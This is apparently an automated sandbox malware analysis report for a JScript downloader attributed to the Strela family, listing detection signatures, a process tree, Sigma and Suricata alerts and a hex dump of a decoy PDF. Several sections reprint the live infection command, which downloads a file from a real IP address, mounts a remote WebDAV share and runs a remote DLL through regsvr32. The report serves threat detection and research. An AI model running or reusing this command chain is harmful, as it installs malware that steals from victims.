Edit tour

Windows Analysis Report
4623256121503424814.js

Overview

General Information

Sample name:	4623256121503424814.js
Analysis ID:	1588512
MD5:	cb326ce977aa89727048770e4aa5f300
SHA1:	71d64f180882985a67de99891e8f024cc35ab0e5
SHA256:	4d9922dfed80dd120453f158f9d2bf77524e5885fd688af71826e76db6321f90
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1756 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1956 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5312 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1756 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

cmd.exe (PID: 6184 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2832 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

AcroCEF.exe (PID: 1832 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3128 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1624,i,9409475353304453374,4353992892144085622,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

svchost.exe (PID: 1816 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1756	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5312, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5312, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js", ProcessId: 1756, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2832, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49788

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ProcessId: 1956, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ProcessId: 1956, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ProcessId: 1956, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ProcessId: 1956, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ProcessId: 1956, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js", ProcessId: 1756, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5312, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6184, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2832, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1816, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6184, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2832, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ProcessId: 1956, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:55:39.376514+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49772	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:55:41.724055+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49788	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:55:39.376514+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49772	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 4623256121503424814.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 4623256121503424814.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49788 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49772 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:55:39 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

